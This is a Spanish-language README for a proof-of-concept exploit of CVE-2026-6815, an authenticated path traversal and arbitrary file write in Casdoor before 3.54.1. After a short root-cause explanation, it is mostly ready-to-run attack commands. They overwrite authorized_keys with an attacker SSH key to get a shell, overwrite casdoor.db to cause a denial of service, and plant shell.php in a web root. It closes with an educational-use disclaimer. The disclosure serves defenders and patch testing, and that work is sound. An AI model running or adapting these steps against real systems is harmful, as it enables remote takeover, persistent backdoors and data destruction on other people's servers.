
Exploit PoC de recorrido de ruta autenticado y escritura arbitraria de archivos para Casdoor <3.54.1, que permite RCE mediante inyección de clave SSH, carga de web shell o DoS persistente a través de corrupción de base de datos.
Este repositorio contiene una prueba de concepto (PoC) para el exploit CVE-2026-6815, una vulnerabilidad de escritura arbitraria de archivos y path traversal en Casdoor.
La vulnerabilidad ha sido corregida en la versión 3.54.1.
El atacante debe estar autenticado en la instancia de Casdoor con privilegios de administrador o un usuario equivalente con acceso para crear y/o editar proveedores de almacenamiento.
.ssh/authorized_keys, crontabs o raíces web.casdoor.db) o binarios principales con archivos arbitrarios, deteniendo inmediatamente la aplicación.Casdoor permite a los administradores configurar proveedores de almacenamiento. El proveedor de Sistema de Archivos Local no sanea correctamente la configuración pathPrefix ni el parámetro fullFilePath durante las cargas de recursos.
Mediante secuencias de traversal de directorios (../), un administrador autenticado puede escapar del directorio de almacenamiento dedicado y escribir archivos en cualquier lugar donde el proceso de Casdoor tenga permisos.
La vulnerabilidad se origina en una validación insuficiente de rutas en:
object/provider.go: Sin validación en pathPrefix durante la creación/actualización.storage/local_file_system.go: El método GetFullPath no verifica si la ruta resuelta permanece dentro del sandbox previsto.Instalar dependencias:
pip install -r requirements.txt
Ejecutar el exploit:
python3 poc.py --url http://target:8000 --file local_file --rpath /home/casdoor/new_remote_file
Escribir una clave pública controlada por el atacante en el archivo authorized_keys del usuario casdoor para obtener acceso SSH.
Generar la clave ssh:
ssh-keygen -f casdoor_rce
Sobrescribir authorized_keys con la clave pública generada:
python3 poc.py --url http://target:8000 --usr admin --psw 123 --file casdoor_rce.pub --rpath /home/casdoor/.ssh/authorized_keys
Obtener shell SSH en el host remoto usando la clave privada:
ssh -i ./casdoor_rce casdoor@target
Sobrescribir el archivo de base de datos local de la aplicación (ej., casdoor.db) para causar una denegación de servicio.
python3 poc.py --url http://target:8000 --usr admin --psw 123 --file dummy.txt --rpath /app/casdoor.db
Si el servidor está alojando un servidor web secundario (ej., Apache/Nginx) en el mismo sistema de archivos, escribir un web shell en su raíz de documentos.
python3 poc.py --url http://target:8000 --usr admin --psw 123 --file shell.php --rpath /var/www/html/shell.php
Si tienes credenciales administrativas para una organización y aplicación específicas (distintas de los valores predeterminados built-in y app-built-in), especifícalas usando --orgname y --appname.
python3 poc.py --url http://target:8000 --usr custom_admin --psw P@ssw0rd --orgname my-org --appname my-app --file local_file.txt --rpath /tmp/pwned.txt
Este software es solo para fines educativos y de pruebas de seguridad autorizadas. El autor no se responsabiliza por el mal uso de esta información.
Vulnerabilidad descubierta y PoC desarrollada por Danilo Dell'Orco (sixpain).